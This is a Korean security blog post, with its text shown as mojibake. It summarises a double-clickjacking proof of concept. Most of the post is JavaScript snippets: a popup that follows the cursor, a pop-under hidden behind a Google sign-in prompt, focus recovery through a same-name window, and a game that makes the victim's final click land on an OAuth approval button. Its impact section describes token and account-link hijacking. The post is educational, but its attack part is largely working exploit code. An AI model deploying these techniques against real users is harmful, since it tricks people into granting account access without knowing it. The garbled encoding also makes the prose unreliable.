web hacking ๐Ÿ–ฅ/์™ธ๋ถ€ ๋ฌธ์„œ ๋ถ„์„

The Ultimate Double-Clickjacking PoC

Kortsec1 2025. 7. 1. 01:59

์š”์•ฝ

์ฃผ์ œ: ๋‹ค์–‘ํ•œ ๋ธŒ๋ผ์šฐ์ € ํŠธ๋ฆญ์„ ๊ฒฐํ•ฉํ•ด “๋”๋ธ” ํด๋ฆญ์žฌํ‚น(Double-Clickjacking)” ๊ณต๊ฒฉ์„ ์™„๋ฒฝํ•œ PoC๋กœ ๊ตฌํ˜„

ํ•ต์‹ฌ ์•„์ด๋””์–ด

  • ๋น„ํ™œ์„ฑ ํŒ์—…์ฐฝ ์œ„์น˜ ์ œ์–ด : window.movTo๋กœ ๋ˆˆ์— ๋ณด์ด์ง€ ์•Š๋Š” ํŒ์—…์„ ๋งˆ์šฐ์Šค ์ปค์„œ ๋ฐ”๋กœ ์•„๋ž˜๋กœ ์˜ฎ๊น€
onclick = () => {
  onclick = null;
  w = window.open("/popup.html", "", "width=500,height=300");
  w.onload = () => {
    navbarHeight = w.outerHeight - w.innerHeight;
    button = w.document.querySelector("button").getBoundingClientRect();

    onmousemove = (e) => {
      const x = e.screenX - button.x - button.width / 2;
      const y = e.screenY - button.y - button.height / 2 - navbarHeight;
      w.moveTo(x, y);
      w.resizeTo(500, 300);
    };
  };
};
  • Same-name ํฌ์ปค์Šค ํšŒ๋ณต : window.open(’’, name) ํ˜ธ์ถœ๋งŒ์œผ๋กœ ๊ธฐ์กด ํŒ์—…์— ๋‹ค์‹œ ํฌ์ปค์Šค๋ฅผ ๋ถ€์—ฌ
  • ์ž๋™ Pop-under ์ƒ์„ฑ : ์ฒซ ํด๋ฆญ ์‹œ ํŒ์—…์„ ๋„์šด ๋’ค ๊ณง๋ฐ”๋กœ ๋ฐฑ๊ทธ๋ผ์šด๋“œ๋กœ ์ˆจ๊ฒจ ์‚ฌ์šฉ์ž๊ฐ€ ๋ˆˆ์น˜ ๋ชป ์ฑ„๊ฒŒ ํ•จ
<!-- index.html -->
<body onclick="x()">
  <h1>Click Here</h1>
  <script>
    function x(){
      let params = `width=300,height=300,left=-1000,top=-1000`;

      open('//example.com', 'test', params);

      location='./goog.html';
    }
  </script>
</body>



<!-- goog.html -->
<!DOCTYPE html>
<html lang="en">
<head>
    <title>PopUnder POC</title>
</head>
<body>
    <h1>PopUnder POC</h1>
    <div id="g_id_onload"
         data-client_id="384756754840-qot2bab06l0kihekcu3h76iri7h75eat.apps.googleusercontent.com"
         data-callback="handleCredentialResponse">
    </div>
    <div class="g_id_signin" data-type="standard"></div>

    <script src="https://accounts.google.com/gsi/client" async defer></script>
    <script>
        function handleCredentialResponse(response) {
            // Handle the signed-in user info here
            console.log("Encoded JWT ID token: " + response.credential);
            // You would typically send this token to your server for verification
        }
    </script>
</body>
</html>
  • ๋ฐ˜๋ณต ํด๋ฆญ ์œ ๋„ : Flappy Bird ๊ฒŒ์ž„ ๊ฐ™์€ UI๋กœ ์‚ฌ์šฉ์ž์˜ ์—ฐ์† ํด๋ฆญ์„ ์œ ๋„ํ•ด ์ตœ์ข… ํด๋ฆญ์„ ์Šน์ธ ๋ฒ„ํŠผ์— ์—ฐ๊ฒฐ

PoC ํ”Œ๋กœ์šฐ

1. ์ดˆ๊ธฐ ํด๋ฆญ

ํŒ์—… ์ƒ์„ฑ + ๊ณต๊ฒฉ์ž ํŽ˜์ด์ง€๋กœ ๋ฆฌ๋‹ค์ด๋ ‰ํŠธ → Pop-Under

captcha.contentWindow.checkbox.onclick = () => {
  // 1) off-screen ๋นˆ ๋ฌธ์„œ ํŒ์—… ์ƒ์„ฑ (name="popup")
  window.open(URL.createObjectURL(blob), "popup", "width=1,height=1,left=9999,top=9999");
  // 2) ๋ฐ”๋กœ Google ๋กœ๊ทธ์ธ ํ”„๋กฌํ”„ํŠธ ์‹คํ–‰ → ํŒ์—…์ด ๋’ค๋กœ ๋ฐ€๋ฆผ
  triggerPrompt();
  // 3) blur ๋ฐœ์ƒ ์‹œ /game ์œผ๋กœ ์ „ํ™˜
  captcha.contentWindow.onblur = () => location = "/game";
};

ํด๋ฆญ ์ด๋ฒคํŠธ๊ฐ€ ๋ฐœ์ƒํ•˜๋ฉด ๋นˆ ๋ฌธ์„œ ํŒ์—…์„ ์ƒ์„ฑํ•œ๋‹ค. ์ด์–ด์„œ Google ๋กœ๊ทธ์ธ ํ”„๋กฌํ”„ํŠธ๋ฅผ ์‹คํ–‰ํ•˜์—ฌ ์ง์ „์— ์ƒ์„ฑ๋œ ํŒ์—…์ด ๋’ค๋กœ ๋ฐ€๋ฆฌ๊ฒŒ ๋œ๋‹ค. ๊ฒฐ๊ตญ Pop-Under๊ฐ€ ๋ฐœ์ƒํ•˜์—ฌ, ์‚ฌ์šฉ์ž๊ฐ€ ๋ˆˆ์น˜ ์ฑ„๊ธฐ ์–ด๋ ต๊ฒŒ๋œ๋‹ค.

ํ•ด๋‹น ๊ธ€์˜ ๊ฒฝ์šฐ๋Š” Cloudflare Captcha ํŽ˜์ด์ง€๋ฅผ ํ™œ์šฉํ•˜์—ฌ ์‚ฌ์šฉ์ž ํด๋ฆญ์„ ์œ ๋„ํ•œ๋‹ค.

2. ์ปค์„œ ์ด๋™ ์ถ”์ 

onmousemove ์ด๋ฒคํŠธ๋กœ ํŒ์—… ์œ„์น˜.ํฌ๊ธฐ ์กฐ์ •

// ๋งˆ์šฐ์Šค ์œ„์น˜๋ฅผ ์ „์—ญ์— ๊ธฐ๋ก
document.addEventListener("mousemove", e => mouse = [e.screenX, e.screenY]);

// 500ms ์ฃผ๊ธฐ๋กœ ๋ฒ„ํŠผ ์œ„์น˜์™€ ๋น„๊ตํ•ด ํŒ์—… ์žฌ๋ฐฐ์น˜
(async () => {
  while (!done) {
    await sleep(500);
    if (mouseInsideButton()) continue;

    // Same-origin hack: about:blank ๋กœ ์ „ํ™˜ → origin ํ™•๋ณด
    w.location = "about:blank";
    await until(() => { try { return w.origin; } catch{} });

    // ๊ณ„์‚ฐ๋œ ์ขŒํ‘œ๋กœ ํŒ์—… ์ด๋™
    const x = mouse[0] - button.x - button.width/2;
    const y = mouse[1] - button.y - button.height/2 - navbarHeight;
    w.moveTo(x, y);
    w.resizeTo(POPUP_W, POPUP_H);

    // ์›๋ž˜ ๋Œ€์ƒ ํŽ˜์ด์ง€๋กœ ๋ณต๊ท€
    w.location = TARGET;
    lastMove = Date.now();
  }
})();

moveTo ํ•จ์ˆ˜๋ฅผ ํ†ตํ•ด ์ฃผ๊ธฐ์ ์œผ๋กœ ํŒ์—… ์ฐฝ์„ ๋งˆ์šฐ์Šค ์ปค์„œ ์œ„์น˜๋กœ ์ด๋™์‹œํ‚จ๋‹ค. ๋” ์ž์„ธํ•˜๊ฒŒ๋Š” ํŒ์—… ์ฐฝ ์† ๋ฒ„ํŠผ์˜ ์œ„์น˜๋ฅผ ๊ณ„์‚ฐํ•˜์—ฌ ์ปค์„œ ์œ„์น˜๋กœ ์ด๋™์‹œํ‚จ๋‹ค.

Cross-Origin ํŒ์—…์˜ ๊ฒฝ์šฐ DOM์— ์ ‘๊ทผํ•  ์ˆ˜ ์—†๊ธฐ์—, .location์„ ์ด์šฉํ•ด Same-Origin ์œผ๋กœ ์ด๋™ → ๊ณ„์‚ฐ๋œ ์ขŒํ‘œ๋กœ ํŒ์—… ์ด๋™ → ๋‹ค์‹œ ์›๋ž˜ ๋Œ€์ƒ ํŽ˜์ด์ง€๋กœ ๋ณต๊ท€ํ•˜๋Š” ๊ณผ์ •์„ ํ†ตํ•ด ์ง„ํ–‰ํ•œ๋‹ค.

์ด๋Š” ๊ฒฐ๊ณผ์ ์œผ๋กœ ์‚ฌ์šฉ์ž์˜ ํŠน์ • ์ž…๋ ฅ์ด ๋ฐœ์ƒํ•˜๋Š” ์ˆœ๊ฐ„, ์ฐฝ์ด ํฌ์ปค์Šค ๋˜๋ฉฐ ์ปค์„œ์— ์œ„์น˜ํ•œ ๋ฒ„ํŠผ์ด ๋ˆŒ๋ฆฌ๊ฒŒ ๋˜๋Š” ๊ฒฐ๊ณผ๋ฅผ ์ด๋ˆ๋‹ค.

3. ์—ฐ์† ํด๋ฆญ ๊ฐ์ง€

์ผ์ • ํšŸ์ˆ˜ ํด๋ฆญ ์ดํ›„ window.open(””, name)์œผ๋กœ ํฌ์ปค์Šค ๊ฐ•์ œ ์ด๋™

if (level === TARGET_LEVEL) parent.postMessage("trigger", "*");

ํŠน์ • ์กฐ๊ฑด(3๋‹จ๊ณ„ ํ†ต๊ณผ)์„ ๋‹ฌ์„ฑํ•˜๋ฉด postMessage(”trigger”, “*”)๋ฅผ ๋ณด๋‚ธ๋‹ค.

window.addEventListener("message", async e => {
  if (e.data === "trigger") {
    // ํŒ์—… ํฌ์ปค์‹ฑ & ์Šน์ธ ํด๋ฆญ ์œ ๋„
    w = window.open("", "popup");
    await until(() => w.closed);
    location = "/";
  }
})

window.open(””, “popup”)๊ณผ ๊ฐ™์ด ๊ธฐ์กด ์ƒ์„ฑํ•œ ํŒ์—…๊ณผ ๋™์ผํ•œ ์ด๋ฆ„์˜ ์ฐฝ์„ ์—ด๋ฉด, ํฌ์ปค์Šค๊ฐ€ ํšŒ๋ณต๋˜๋Š” ์ ์„ ์ด์šฉํ•˜์—ฌ, ํƒ€๊ฒŸ ์ฐฝ์— ํฌ์ปค์‹ฑ์„ ํ•œ๋‹ค.

4. ์‚ฌ์šฉ์ž ์Šน์ธ ๋ฒ„ํŠผ ํด๋ฆญ

๊ฐ์ชฝ๊ฐ™์ด ๊ถŒํ•œ ๋ถ€์—ฌ

๊ฒŒ์ž„์„ ํ†ตํ•ด ์œ ๋„ํ•œ ์‚ฌ์šฉ์ž์˜ ๋งˆ์ง€๋ง‰ ํด๋ฆญ์„ ํŒ์—… ์Šน์ธ ๋ฒ„ํŠผ์— ์—ฐ๊ฒฐํ•œ๋‹ค. ์ดํ›„ ํŒ์—…์„ ์ข…๋ฃŒํ•˜์—ฌ ์‚ฌ์šฉ์ž๊ฐ€ ๋ˆˆ์น˜ ์ฑ„๊ธฐ ์ „์— ๊ณต๊ฒฉ์„ ์ข…๋ฃŒํ•œ๋‹ค.

ํŒ์—…์ด ๋ˆˆ ๊นœ์งํ•  ์‚ฌ์ด์— ์‚ฌ๋ผ์ง€๊ธฐ์—, ์‚ฌ์šฉ์ž๋Š” ํŒ์—…์ด ์ž ๊น ๋–ด๋‹ค๋Š” ์‚ฌ์‹ค์กฐ์ฐจ ์•Œ์•„์ฐจ๋ฆฌ๊ธฐ ํž˜๋“ค๋‹ค.

์ตœ์ข… ์š”์•ฝ

๋ถ„๋ฅ˜ ํ‚ค์›Œ๋“œ

  • Cross-Origin Control Bypass
  • Double-Clickjacking
  • User Engagement & Stealth
Root Cause ์‚ฌ์šฉ์ž์—๊ฒŒ ๋ณด์ด๋Š” UI ์š”์†Œ์™€, ์‹ค์ œ ์ „๋‹ฌ๋˜๋Š” ์ด๋ฒคํŠธ๊ฐ„์˜ ๋ถˆ์ผ์น˜
์ทจ์•ฝ์  ์ข…๋ฅ˜ Clickjacking
๊ณต๊ฒฉ ๋ฐฉ์‹ ๋™์  ํŒ์—… ํฌ์ปค์Šค ํ•˜์ด์žฌํ‚น (Adaptive Popup Focus Hijacking)

์˜ํ–ฅ

๊ณ„์ •.์„ธ์…˜ ํƒˆ์ทจ

  • OAuth/SSO ํ† ํฐ์„ ๊ฐ€๋กœ์ฑ„ ์‚ฌ์šฉ์ž์˜ ์„œ๋น„์Šค ์ ‘๊ทผ ๊ถŒํ•œ ํƒˆ์ทจ
  • ํ”ผํ•ด์ž๊ฐ€ “์Šน์ธ”์„ ํด๋ฆญํ•˜๋Š” ์ˆœ๊ฐ„, ๊ณต๊ฒฉ์ž๋Š” OAuth ์ธ์ฆ ์ฝ”๋“œ๋ฅผ ๊ฐ€๋กœ์ฑˆ๋‹ค. ์ด ์ฝ”๋“œ๋ฅผ ์ด์šฉํ•ด ์—‘์„ธ์Šค ํ† ํฐ์„ ๋ฐœ๊ธ‰๋ฐ›์œผ๋ฉด, ํ”ผํ•ด์ž์˜ ์ด๋ฉ”์ผ.์บ˜๋ฆฐ๋”.ํŒŒ์ผ.๊ฒฐ์ œ ๊ธฐ๋Šฅ ๋“ฑ ๋ชจ๋“  API ํ˜ธ์ถœ ๊ถŒํ•œ์„ ์™„์ „ ์žฅ์•…ํ•œ๋‹ค. ํ”ผํ•ด์ž๋Š” ๋‚˜์ค‘์— ๋กœ๊ทธ๋‚˜ ์•Œ๋ฆผ์—์„œ ์ด์ƒ ์ง•ํ›„๋ฅผ ๋ฐœ๊ฒฌํ•˜๊ธฐ ์ „๊นŒ์ง€ ๋ฌด๋‹จ ํ™œ๋™์„ ์ „ํ˜€ ๋ˆˆ์น˜์ฑ„์ง€ ๋ชปํ•œ๋‹ค.
  • ์†Œ์…œ ๋กœ๊ทธ์ธ ์—ฐ๋™ (Link Hijacking)
  • ์‚ฌ์šฉ์ž๊ฐ€ “๊ตฌ๊ธ€ ๊ณ„์ • ์—ฐ๋™” ๋ฒ„ํŠผ์„ ํด๋ฆญํ•˜๊ธฐ๋งŒ ํ•˜๋ฉด, ํˆฌ๋ช… iframe์ด ๋ฐฑ๊ทธ๋ผ์šด๋“œ์—์„œ ๊ณต๊ฒฉ์ž ๊ณ„์ •์„ ํ”ผํ•ด์ž ์„œ๋น„์Šค์— ์—ฐ๊ฒฐํ•œ๋‹ค. ์ดํ›„ ํ”ผํ•ด์ž๋Š” ๋ณธ์ธ๋„ ๋ชจ๋ฅด๊ฒŒ ๊ณต๊ฒฉ์ž ์†Œ์œ  ์†Œ์…œ ๊ณ„์ •์œผ๋กœ ๋กœ๊ทธ์ธ๋˜๋ฉฐ, ๊ฐœ์ธ ์ •๋ณด๋ฅผ ์—ด๋žŒ.์ˆ˜์ •, ๋ฉ”์‹œ์ง€ ์ „์†ก ๋“ฑ ๊ณ„์ • ๋‚ด ๋ชจ๋“  ํ™œ๋™์ด ๊ณต๊ฒฉ์ž์—๊ฒŒ ํ†ต์ œ๋œ๋‹ค.